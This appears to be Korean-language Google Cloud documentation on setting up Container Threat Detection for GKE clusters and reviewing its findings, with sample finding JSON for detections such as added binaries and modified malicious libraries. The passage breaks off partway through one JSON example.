이 페이지에서는 Google Cloud 콘솔에서 Container Threat Detection 발견 항목을 검토하는 방법을 설명하고 Security Threat Detection 발견 항목의 예시를 보여줍니다. Container Threat Detection은 Security Command Center 프리미엄 등급을 위한 기본 서비스입니다.
Container Threat Detection 발견 항목을 보려면 Security Command Center 서비스 설정에서 서비스를 사용 설정해야 합니다.
이 페이지의 발견 항목 검토에서 Container Threat Detection 발견 항목을 보고 관리하는 방법을 자세히 알아보세요.
프로젝트 수준에서 Container Threat Detection 및 기타 프리미엄 등급 감지기를 활성화하려면 프로젝트에 Security Command Center 활성화를 참조하세요.
지원되는 GKE 버전 사용
컨테이너에 대한 잠재적인 위협을 감지하려면 클러스터가 지원되는 버전의 Google Kubernetes Engine(GKE)에 있어야 합니다. Container Threat Detection은 현재 안정, 일반, 신속 채널에서 다음 GKE 버전을 지원합니다.
- GKE Standard >= 1.15.9-gke.12
- GKE Standard >= 1.16.5-gke.2
- GKE Standard >= 1.17
- GKE Standard >= 1.18.10-gke.1400
- GKE Standard >= 1.19.2-gke.2000
- GKE Standard >= 1.20
- GKE Standard >= 1.21
- GKE Autopilot >= 1.21.11-gke.900
- GKE Standard 및 Autopilot >= 1.22
- GKE Standard 및 Autopilot >= 1.23
Container Threat Detection은 Container-Optimized OS 노드 이미지만 지원합니다.
Container Threat Detection 사용 설정
Security Command Center 프리미엄을 활성화하면 활성화 프로세스 중에 사용 중지하지 않는 한 기본적으로 Container Threat Detection이 사용 설정됩니다.
조직 또는 프로젝트에 대해 Container Threat Detection을 사용 설정하거나 중지해야 하는 경우 Security Command Center 설정 페이지에서 사용 설정하거나 중지할 수 있습니다. 자세한 내용은 기본 제공 서비스 사용 설정 또는 중지를 참조하세요.
Security Command Center 이상을 활성화하여 Container Threat Detection을 사용 설정하려면 다음 단계를 따르세요.
- 지원되는 GKE 버전에서 실행되지 않는 클러스터의 경우 가이드의 클러스터 업그레이드 단계를 완료합니다.
- 클러스터에 Container Threat Detection DaemonSet를 실행하는 데 사용할 수 있는 리소스가 충분한지 확인합니다.
- Google Cloud Console에서 Container Threat Detection 서비스 사용 설정 관련 설정을 검토하여 클러스터에 Container Threat Detection이 사용 설정되어 있는지 확인합니다.
필수 IAM 권한
Container Threat Detection에는 자체적으로 사용 설정 및 중지하고 GKE 클러스터에서 Container Threat Detection 에이전트를 관리할 수 있는 권한이 필요합니다.
필요한 권한을 부여하려면 IAM 역할 Container Threat Detection 서비스 에이전트(roles/containerthreatdetection.serviceAgent)를 서비스 계정 유형인 Container Threat Detection 서비스 에이전트에 부여해야 합니다.
서비스 에이전트에서 이 기본 역할을 삭제하면 Container Threat Detection이 제대로 작동하지 않을 수 있습니다.
Security Command Center가 활성화된 방법과 시기에 따라 Container Threat Detection에서 사용하는 서비스 에이전트의 이름이 다릅니다.
2023년 12월 7일 이전에 Security Command Center가 활성화된 경우 Container Threat Detection은 다음 사용자 관리 서비스 에이전트를 사용합니다.
service-PROJECT_NUMBER@gcp-sa-ktd-control.iam.gserviceaccount.com2023년 12월 7일 이후 조직 수준에서 Security Command Center가 활성화된 경우 Container Threat Detection은 다음 사용자 관리 조직 수준 서비스 에이전트를 사용합니다.
service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com2023년 12월 7일 이후 프로젝트 수준에서 Security Command Center가 활성화된 경우 Container Threat Detection은 다음 사용자 관리 조직 수준 서비스 에이전트를 사용합니다.
service-project-PROJECT_NUMBER@gcp-sa-ktd-hpsa.iam.gserviceaccount.com
서비스 에이전트 및 IAM 역할에 대한 자세한 내용은 다음을 참조하세요.
GKE 클러스터 구성 확인
Container Threat Detection이 작동하려면 클러스터가 Virtual Private Cloud(VPC)에 있는 경우 네트워크에서 Google API 및 서비스와 통신하려면 라우팅, 방화벽, DNS 요구사항을 충족해야 합니다. Google API에 액세스하려면 다음 가이드를 검토합니다.
- 클러스터가 비공개 클러스터인 경우 비공개 Google 액세스 구성 또는 Private Service Connect 구성을 참조하세요.
- 클러스터가 VPC 서비스 제어 서비스 경계 내에 있는 경우 Container Threat Detection API인
containerthreatdetection.googleapis.com이 액세스 가능한 서비스로 나열되어 있는지 확인합니다. 자세한 내용은 서비스 경계 개요를 참조하세요. - 클러스터가 비공개 클러스터가 아닌 경우 외부 IP 주소를 사용하여 VM에서 API에 액세스를 참조하세요.
또한 GKE 클러스터 구성 또는 조직 정책 제약조건은 Container Threat Detection이 작동하는 데 필요한 객체의 생성 또는 사용을 차단해서는 안 됩니다. 다음 섹션에는 Container Threat Detection에서 만드는 GKE 객체 목록과 Container Threat Detection에서 작동하도록 필수 GKE 구성요소를 구성하는 방법이 포함되어 있습니다.
Kubernetes 객체
온보딩 후 Container Threat Detection은 사용 설정된 클러스터에 여러 GKE 객체를 만듭니다. 객체는 컨테이너 이미지를 모니터링하고 권한이 있는 컨테이너와 포드를 관리하며 상태를 분석하여 발견 항목을 생성합니다. 다음 표에는 객체, 객체의 속성, 필수 함수가 나와 있습니다.
| 객체 | 이름1 | 속성 | 함수 |
|---|---|---|---|
| ClusterRole | container-watcher-pod-reader |
포드에 대한 get, watch, list 권한을 부여합니다. |
|
| ClusterRole | pod-reader |
포드에 대한 get, watch, list 권한을 부여합니다. |
|
| ClusterRoleBinding | container-watcher-pod-reader
|
container-watcher-pod-reader ServiceAccount에 container-watcher-pod-reader 및 gce:podsecuritypolicy:privileged 역할을 부여합니다. |
|
| CustomResourceDefinition | containerwatcherstatuses.containerthreatdetection.googleapis.com |
DaemonSet 상태 보고 | |
| DaemonSet | container-watcher2 |
권한이 있는 사용자 | Linux 보안 모듈 및 컨테이너 엔진과 상호작용합니다. |
| /host/를 읽기 및 쓰기로 마운트합니다. | Linux 보안 모듈과의 통신 | ||
container-watcher-token에 액세스하려면 /etc/container-watcher/secrets를 읽기 전용으로 마운트합니다. |
인증 | ||
hostNetwork를 사용합니다. |
발견 항목 생성 | ||
| 이미지 gke.gcr.io/watcher-daemonset |
사용 설정 및 업그레이드 | ||
| 백엔드 containerthreatdetection-REGION.googleapis.com:443 |
발견 항목 생성 | ||
| 역할 | container-watcher-status-reporter |
containerwatcherstatuses.containerthreatdetection.googleapis.com CustomResourceDefinition에 대해 get, list, watch, create, update, patch 동사를 포함하는 역할 |
DaemonSet 상태 정보 업데이트를 허용합니다. |
| RoleBinding | gce:podsecuritypolicy:container-watcher |
container-watcher-pod-reader ServiceAccount에 gce:podsecuritypolicy:privileged 역할을 부여합니다. |
PodSecurityPolicy가 사용 설정되면 기능을 유지합니다. |
container-watcher-status-reporter |
container-watcher-pod-reader ServiceAccount에 container-watcher-status-reporter 역할을 부여합니다. |
||
| 보안 비밀 | container-watcher-token |
인증 | |
| ServiceAccount | container-watcher-pod-reader |
사용 설정, 업그레이드, 사용 중지 |
1 container-watcher-pod-reader 및 gce:podsecuritypolicy:container-watcher를 제외한 모든 객체가 kube-system 네임스페이스에 있습니다.
2 Container Threat Detection을 설치, 업데이트, 삭제하는 동안 Kubernetes는 일시적으로 누락되었거나 완전하지 않은 Kubernetes 객체 또는 다른 종속 항목에 대해 오류 메시지를 표시할 수 있습니다. Container Threat Detection이 작업을 완료하면 오류가 자동으로 해결됩니다. 몇 분이 지나도 오류가 계속되지 않는 한 오류를 무시해도 됩니다.
PodSecurityPolicy 및 허용 컨트롤러
PodSecurityPolicy는 요청을 검사하여 클러스터의 포드를 생성하고 업데이트하도록 설정한 수락 컨트롤러 리소스입니다. Container Threat Detection은 enable-pod-security-policy 플래그로 클러스터를 만들거나 업데이트할 때 자동으로 적용되는 PodSecurityPolicies와 호환됩니다. 특히 PodSecurityPolicy가 사용 설정되면 Container Threat Detection이 gce.privileged 정책을 사용합니다.
커스텀 PodSecurityPolicies 또는 다른 허용 컨트롤러를 사용하는 경우 Container Threat Detection이 작동해야 하는 객체 생성 또는 사용을 차단하지 않아야 합니다. 예를 들어 권한이 부여된 배포를 거부하거나 재정의하는 웹훅 기반 허용 컨트롤러에서는 Container Threat Detection이 제대로 작동하지 않을 수 있습니다.
자세한 내용은 PodSecurityPolicies 사용을 참조하세요.
Container Threat Detection 발견 항목에서 환경 변수 제외
기본적으로 Container Threat Detection에서 발견 항목을 생성할 때 발견 항목에서 참조되는 모든 프로세스의 환경 변수를 보고합니다. 공격을 조사할 때 환경 변수 값이 중요할 수 있습니다. 그러나 일부 소프트웨어 패키지는 보안 비밀과 기타 민감한 정보를 환경 변수에 저장합니다. Container Threat Detection이 Container Threat Detection 발견 항목에 프로세스 환경 변수를 포함하지 못하도록 하려면 조직, 폴더 또는 프로젝트 수준에서 Google Cloud CLI 또는 Security Command Center API ContainerThreatDetectionSettings를 사용하여 REPORT_ENVIRONMENT_VARIABLES 모듈을 중지합니다.
예를 들어 프로젝트에서 환경 변수 보고를 사용 중지하려면 다음 명령어를 실행합니다.
gcloud alpha scc settings services modules disable \
--service=CONTAINER_THREAT_DETECTION \
--module=REPORT_ENVIRONMENT_VARIABLES \
--project=PROJECT_ID
기본 동작을 복원하려면 다음을 실행하여 환경 변수 보고를 사용 설정합니다.
gcloud alpha scc settings services modules enable \
--service=CONTAINER_THREAT_DETECTION \
--module=REPORT_ENVIRONMENT_VARIABLES \
--project=PROJECT_ID
모듈의 모든 gcloud alpha scc 명령어를 보려면 gcloud alpha
scc settings services
modules를 참조하세요.
Container Threat Detection 발견 항목에서 CLI 인수 제외
모든 프로세스에는 하나 이상의 명령줄(CLI) 인수가 포함됩니다. 기본적으로 Container Threat Detection에 발견 항목의 프로세스 세부정보가 포함된 경우 프로세스의 CLI 인수를 기록합니다. CLI 인수 값은 공격을 조사할 때 중요할 수 있습니다. 그러나 일부 사용자가 보안 비밀 및 기타 민감한 정보를 CLI 인수로 전달할 수 있습니다. Container Threat Detection이 Container Threat Detection 발견 항목에 프로세스 CLI 인수를 포함하지 못하도록 하려면 조직, 폴더 또는 프로젝트 수준에서 Google Cloud CLI 또는 Security Command Center API ContainerThreatDetectionSettings를 사용하여 REPORT_CLI_ARGUMENTS 모듈을 중지합니다.
예를 들어 프로젝트에서 CLI 인수 보고를 사용 중지하려면 다음 명령어를 실행합니다.
gcloud alpha scc settings services modules disable \
--service=CONTAINER_THREAT_DETECTION \
--module=REPORT_CLI_ARGUMENTS \
--project=PROJECT_ID
기본 동작을 복원하려면 다음을 실행하여 CLI 인수 보고를 사용 설정합니다.
gcloud alpha scc settings services modules enable \
--service=CONTAINER_THREAT_DETECTION \
--module=REPORT_CLI_ARGUMENTS \
--project=PROJECT_ID
모듈의 모든 gcloud alpha scc 명령어를 보려면 gcloud alpha
scc settings services
modules를 참조하세요.
리소스 사용량
Container Threat Detection은 클러스터 성능에 거의 영향을 주지 않도록 설계되었으며 클러스터 작업에 지연 시간 영향을 미치지 않습니다.
리소스 사용량은 워크로드에 따라 다릅니다. 그러나 Container Threat Detection의 핵심 구성요소인 사용자 공간 DaemonSet 및 Linux 보안 모듈(LSM)은 다음과 같은 성능 저하가 예상됩니다.
- DaemonSet: 리소스 사용량을 제한하도록 설정된 엄격한 제한을 기준으로 최대 0.125 vCPU 및 300MB 메모리. 이 제한은 특히 매우 큰 노드의 경우 간혹 재평가되고 성능 최적화를 위해 변경될 수 있습니다.
- LSM: 워크로드 특성에 따라 다르지만 LSM에 부담이 가중되는 경우 CPU의 2% 미만과 메모리의 1% 미만이 관찰됩니다. Container Threat Detection 사용 설정 여부에 관계없이 워크로드를 계측하여 성능 영향을 테스트할 수 있습니다.
BigQuery 고객은 GKE 사용량 측정을 사용 설정하여 Container Threat Detection의 사용자 공간 DaemonSet의 리소스 사용량을 모니터링할 수 있습니다. 사용량 측정에서 사용자 공간 DaemonSet를 보려면 네임스페이스 kube-system을 검색하고 k8s-app=container-watcher 라벨을 지정합니다.
GKE 사용량 측정은 특히 LSM의 커널 CPU 사용량을 추적할 수 없습니다. 이 데이터는 전반적인 CPU 사용량에 포함됩니다.
Container Threat Detection API
Container Threat Detection은 온보딩 중에 containerthreatdetection API를 자동으로 사용 설정하여 발견 항목을 생성할 수 있습니다. 이 필수 API와 직접 상호작용하면 안 됩니다. 이 API를 사용 중지하면 새로운 발견 항목을 생성하는 Container Threat Detection 기능이 손상됩니다. Container Threat Detection 발견 항목 수신을 중지하려면 Security Command Center의 서비스 설정에서 Container Threat Detection을 사용 중지하세요.
발견 항목 검토
Container Threat Detection이 발견 항목을 생성하면 Security Command Center에서 볼 수 있습니다. 로그를 작성하도록 지속적 내보내기를 구성한 경우 Cloud Logging에서도 발견 항목을 볼 수 있습니다. 발견 항목을 생성하고 구성을 확인하려면 의도적으로 감지기를 트리거하고 Container Threat Detection을 테스트하면 됩니다.
Container Threat Detection의 지연 시간은 다음과 같습니다.
- 새로 온보딩된 조직 또는 프로젝트의 활성화 지연 시간은 3.5시간입니다.
- 새로 생성된 클러스터의 활성화 지연 시간(분)입니다.
- 활성화된 클러스터의 위협에 대한 감지 지연 시간(분)입니다.
Google Cloud 콘솔에서 발견 항목 검토
Security Command Center의 IAM 역할은 조직, 폴더, 프로젝트 수준에서 부여할 수 있습니다. 발견 항목, 애셋, 보안 소스를 보거나 수정하거나 만들거나 업데이트할 수 있는 기능은 액세스 권한이 부여된 수준에 따라 다릅니다. Security Command Center 역할에 대해 자세히 알아보려면 액세스 제어를 참조하세요.
Security Command Center에서 Container Threat Detection 발견 항목을 검토하려면 다음 단계를 따르세요.
Google Cloud 콘솔에서 Security Command Center 발견 항목 페이지로 이동합니다.
필요한 경우 Google Cloud 프로젝트 또는 조직을 선택합니다.
빠른 필터 섹션의 소스 표시 이름 하위 섹션에서 Container Threat Detection을 선택합니다.
특정 발견 항목의 세부정보를 보려면
Category에서 '발견 항목 이름'을 클릭합니다. 발견 항목 세부정보 창이 확장되어 다음 섹션의 일부 또는 전부로 구성된 발견 항목에 대한 정보가 표시됩니다.- 감지된 항목 문제의 AI 생성 요약미리보기을 포함해 감지된 보안 문제에 대한 정보입니다.
- 영향을 받는 리소스: 문제가 감지된 리소스에 대한 정보입니다.
- 보안 표시: 팀이 발견 항목에 추가했을 수 있는 모든 보안 표시입니다.
- 다음 단계: 문제를 해결하기 위해 수행할 수 있는 모든 단계입니다.
- 관련 링크: 관련 표준, 관련 발견 항목, 추가 조사 도구 등에 대한 링크입니다.
- 감지 서비스: 문제를 감지한 Container Threat Detection과 같은 Security Command Center 서비스에 대한 정보와 발견 항목 자체에 대한 정보입니다.
발견 항목의 전체 JSON 구조를 보려면 JSON 탭을 클릭합니다.
Container Threat Detection 발견 항목 목록은 Container Threat Detection 감지기를 참조하세요.
Cloud Logging에서 발견 항목 보기
Cloud Logging에서 Container Threat Detection 발견 항목을 보려면 다음을 수행합니다.
Google Cloud 콘솔에서 Cloud Logging의 로그 탐색기 페이지로 이동합니다.
페이지 상단에 있는 프로젝트 선택기에서 Container Threat Detection 로그를 저장할 프로젝트를 선택합니다.
쿼리 빌더 탭을 클릭합니다.
리소스 드롭다운 목록에서 Threat Detector를 선택합니다.
- 모든 감지기의 발견 항목을 보려면 all detection_name을 선택합니다.
- 특정 감지기의 발견 항목을 보려면 이름을 선택합니다.
또는 쿼리 빌더 텍스트 상자에
resource.type="threat_detector"를 입력한 후 쿼리 실행을 클릭합니다.테이블이 선택한 로그로 업데이트됩니다.
고급 로그 쿼리를 만들어 로그 수에 관계없이 로그 항목 집합을 지정합니다.
발견 항목 형식 예시
이 섹션에는 Container Threat Detection 발견 항목의 JSON 형식이 포함됩니다.
이 예시에는 모든 발견 항목에 대한 가장 일반적인 필드가 포함됩니다. 그러나 모든 필드가 모든 발견 항목에 표시되지 않을 수도 있습니다. 표시되는 실제 출력은 리소스 구성 및 발견 항목의 유형과 상태에 따라 다릅니다. Kubernetes 및 containerd의 정보는 최선의 방식으로 제공되며 보장되지 않습니다.
각 발견 항목의 필드에 대한 자세한 내용은 REST 리소스: organizations.sources.findings의 필드 설명을 참조하세요.
추가된 바이너리가 실행됨
{
"finding": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
"parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
"resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"state": "ACTIVE",
"category": "Added Binary Executed",
"sourceProperties": {
"VM_Instance_Name": "INSTANCE_ID",
"Added_Binary_Kind": "Added",
"Container_Image_Id": "CONTAINER_IMAGE_ID",
"Container_Name": "CONTAINER_NAME",
"Parent_Pid": 1.0,
"Container_Image_Uri": "CONTAINER_IMAGE_URI",
"Process_Creation_Timestamp": {
"seconds": 1.617989997E9,
"nanos": 1.17396995E8
},
"Pid": 53.0,
"Pod_Namespace": "default",
"Process_Binary_Fullpath": "BINARY_PATH",
"Process_Arguments": ["BINARY_PATH"],
"Pod_Name": "POD_NAME",
"description": "A binary that was not part of the original container image
was executed. If an added binary is executed by an attacker, this is a
possible sign that an attacker has control of the workload and they are
executing arbitrary commands.",
"Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
"KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
test-4af235e12be6f9d9", "HOME\u003d/root",
"KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
"PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"KUBERNETES_PORT_443_TCP_PORT\u003d443",
"KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
"DEBIAN_FRONTEND\u003dnoninteractive",
"KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
"KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
"KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
"Container_Creation_Timestamp": {
"seconds": 1.617989918E9,
"nanos": 0.0
}
},
"securityMarks": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
},
"eventTime": "2021-04-09T17:39:57.527Z",
"createTime": "2021-04-09T17:39:57.625Z",
"propertyDataTypes": {
"Container_Image_Id": {
"primitiveDataType": "STRING"
},
"Pod_Namespace": {
"primitiveDataType": "STRING"
},
"Container_Creation_Timestamp": {
"dataType": "TIMESTAMP",
"structValue": {
"fields": {
"seconds": {
"primitiveDataType": "NUMBER"
},
"nanos": {
"primitiveDataType": "NUMBER"
}
}
}
},
"Environment_Variables": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"Added_Binary_Kind": {
"primitiveDataType": "STRING"
},
"description": {
"primitiveDataType": "STRING"
},
"Pid": {
"primitiveDataType": "NUMBER"
},
"Process_Arguments": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"Container_Image_Uri": {
"primitiveDataType": "STRING"
},
"Pod_Name": {
"primitiveDataType": "STRING"
},
"Process_Creation_Timestamp": {
"dataType": "TIMESTAMP",
"structValue": {
"fields": {
"seconds": {
"primitiveDataType": "NUMBER"
},
"nanos": {
"primitiveDataType": "NUMBER"
}
}
}
},
"Parent_Pid": {
"primitiveDataType": "NUMBER"
},
"VM_Instance_Name": {
"primitiveDataType": "STRING"
},
"Container_Name": {
"primitiveDataType": "STRING"
},
"Process_Binary_Fullpath": {
"primitiveDataType": "STRING"
}
},
"severity": "LOW",
"workflowState": "NEW",
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
},
"resource": {
"name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"projectDisplayName": "PROJECT_ID",
"parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"parentDisplayName": "PROJECT_ID",
"type": "google.container.Cluster"
}
}
추가된 라이브러리가 로드됨
{
"finding": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findingsFINDING_ID",
"parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
"resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"state": "ACTIVE",
"category": "Added Library Loaded",
"sourceProperties": {
"Process_Arguments": ["BINARY_PATH", "ADDED_LIBRARY_NAME"],
"Parent_Pid": 1.0,
"Container_Name": "CONTAINER_NAME",
"Added_Library_Fullpath": "ADDED_LIBRARY_PATH",
"Container_Image_Id": "CONTAINER_IMAGE_ID",
"Container_Creation_Timestamp": {
"seconds": 1.618004144E9,
"nanos": 0.0
},
"Pod_Name": "POD_NAME",
"Pid": 7.0,
"description": "A library that was not part of the original container
image was loaded. If an added library is loaded, this is a possible sign
that an attacker has control of the workload and they are executing
arbitrary code.",
"VM_Instance_Name": "INSTANCE_ID",
"Pod_Namespace": "default",
"Environment_Variables": ["KUBERNETES_SERVICE_PORT\u003d443",
"KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT", "HOSTNAME\u003dsuspicious-
library", "LD_LIBRARY_PATH\u003d/tmp", "PORT\u003d8080",
"HOME\u003d/root", "PYTHONUNBUFFERED\u003d1",
"KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
"PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
, "KUBERNETES_PORT_443_TCP_PORT\u003d443",
"KUBERNETES_PORT_443_TCP_PROTO\u003dtcp", "LANG\u003dC.UTF-8",
"DEBIAN_FRONTEND\u003dnoninteractive",
"KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
"KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
"KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/home/vmagent/app"],
"Process_Binary_Fullpath": "BINARY_PATH",
"Added_Library_Kind": "Added",
"Container_Image_Uri": "CONTAINER_IMAGE_uri"
},
"securityMarks": {
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
},
"eventTime": "2021-04-09T21:36:13.069Z",
"createTime": "2021-04-09T21:36:13.267Z",
"propertyDataTypes": {
"Container_Image_Id": {
"primitiveDataType": "STRING"
},
"Added_Library_Fullpath": {
"primitiveDataType": "STRING"
},
"Container_Creation_Timestamp": {
"dataType": "TIMESTAMP",
"structValue": {
"fields": {
"seconds": {
"primitiveDataType": "NUMBER"
},
"nanos": {
"primitiveDataType": "NUMBER"
}
}
}
},
"Pod_Namespace": {
"primitiveDataType": "STRING"
},
"Environment_Variables": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"description": {
"primitiveDataType": "STRING"
},
"Process_Arguments": {
"listValues": {
"propertyDataTypes": [{
"primitiveDataType": "STRING"
}]
}
},
"Pid": {
"primitiveDataType": "NUMBER"
},
"Container_Image_Uri": {
"primitiveDataType": "STRING"
},
"Pod_Name": {
"primitiveDataType": "STRING"
},
"Added_Library_Kind": {
"primitiveDataType": "STRING"
},
"Parent_Pid": {
"primitiveDataType": "NUMBER"
},
"VM_Instance_Name": {
"primitiveDataType": "STRING"
},
"Container_Name": {
"primitiveDataType": "STRING"
},
"Process_Binary_Fullpath": {
"primitiveDataType": "STRING"
}
},
"severity": "CRITICAL",
"workflowState": "NEW",
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
},
"resource": {
"name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
"projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"projectDisplayName": "PROJECT_ID",
"parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"parentDisplayName": "PROJECT_ID",
"type": "google.container.Cluster"
}
}
실행: 추가된 악성 바이너리 실행됨
{
"finding": {
"access": {},
"application": {},
"attackExposure": {},
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
"category": "Execution: Added Malicious Binary Executed",
"cloudDlpDataProfile": {},
"cloudDlpInspection": {},
"containers": [
{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": "CONTAINER_IMAGE_ID"
}
],
"createTime": "2023-11-13T19:51:22.538Z",
"database": {},
"eventTime": "2023-11-13T19:51:22.383Z",
"exfiltration": {},
"findingClass": "THREAT",
"findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
"indicator": {},
"kernelRootkit": {},
"kubernetes": {
"pods": [
{
"name": "CONTAINER_NAME",
"ns": "default",
"containers": [
{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": CONTAINER_IMAGE_ID"
}
]
}
],
"nodes": [
{
"name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
}
]
},
"mitreAttack": {
"primaryTactic": "COMMAND_AND_CONTROL",
"primaryTechniques": [
"INGRESS_TOOL_TRANSFER"
]
},
"mute": "UNDEFINED",
"name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
"parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
"parentDisplayName": "Container Threat Detection",
"processes": [
{
"binary": {
"path": "\"/tmp/malicious-binary-dd922bc4ee3b49fd-should-trigger\"",
"size": "68",
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"cloudLoggingQueryUri": [
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"relatedFindingUri": {}
}
}
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실행: 수정된 악성 바이너리 실행됨
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}
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"displayName": "MITRE Link",
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"virustotalIndicatorQueryUri": [
{
"displayName": "VirusTotal IP Link",
"url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
}
],
"cloudLoggingQueryUri": [
{
"displayName": "Cloud Logging Query Link",
"url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.084524438Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
}
],
"relatedFindingUri": {}
}
}
}
실행: 수정된 악성 라이브러리가 로드됨
{
"finding": {
"access": {},
"application": {},
"attackExposure": {},
"canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
"category": "Execution: Modified Malicious Library Loaded",
"cloudDlpDataProfile": {},
"cloudDlpInspection": {},
"containers": [
{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": "CONTAINER_IMAGE_ID"
}
],
"createTime": "2023-11-13T21:38:55.271Z",
"database": {},
"eventTime": "2023-11-13T21:38:55.133Z",
"exfiltration": {},
"findingClass": "THREAT",
"findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
"indicator": {},
"kernelRootkit": {},
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{
"name": "CONTAINER_NAME",
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{
"name": "CONTAINER_NAME",
"uri": "CONTAINER_URI",
"imageId": CONTAINER_IMAGE_ID"
}
]
}
],
"nodes": [
{
"name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
}
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"mitreAttack": {
"primaryTactic": "COMMAND_AND_CONTROL",
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{
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"path": "\"/malicious_files/drop_mal_lib\"",
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"partiallyHashed": false
},
"libraries": [
{
"path": "\"/malicious_files/file_to_be_modified\"",
"size": "68",
"sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
"hashedSize": "68",
"partiallyHashed": false
}
],
"script": {
"size": "0",
"hashedSize": "0",
"partiallyHashed": false
},
"args": [
"\"/malicious_files/drop_mal_lib\"",
"\"/malicious_files/file_to_be_modified\"",
"\"/tmp/modified-malicious-library-430bbedd7049b0d1\""
],
"argumentsTruncated": false,
"envVariables": [
{
"name": "\"KUBERNETES_SERVICE_PORT\"",
"val": "\"443\""
},
{
"name": "\"KUBERNETES_PORT\"",
"val": "\"tcp://10.77.124.129:443\""
},
{
"name": "\"HOSTNAME\"",
"val": "\"ktd-test-modified-malicious-library\""
},
{
"name": "\"HOME\"",
"val": "\"/root\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
"val": "\"10.77.124.129\""
},
{
"name": "\"PATH\"",
"val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
"val": "\"443\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
"val": "\"tcp\""
},
{
"name": "\"DEBIAN_FRONTEND\"",
"val": "\"noninteractive\""
},
{
"name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
"val": "\"443\""
},
{
"name": "\"KUBERNETES_PORT_443_TCP\"",
"val": "\"tcp://10.77.124.129:443\""
},
{
"name": "\"KUBERNETES_SERVICE_HOST\"",
"val": "\"10.77.124.129\""
},
{
"name": "\"PWD\"",
"val": "\"/malicious_files\""
}
],
"pid": "8",
"parentPid": "1"
}
],
"resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
"securityPosture": {},
"severity": "CRITICAL",
"state": "ACTIVE",
"vulnerability": {},
"externalSystems": {}
},
"resource": {
"name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
"display_name": "CLUSTER_ID",
"project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"project_display_name": "PROJECT_ID",
"parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
"parent_display_name": "PROJECT_ID",
"type": "google.container.Cluster",
"folders": []
},
"sourceProperties": {
"sourceId": {
"projectNumber": "PROJECT_NUMBER",
"customerOrganizationNumber": "ORGANIZATION_NUMBER"
},
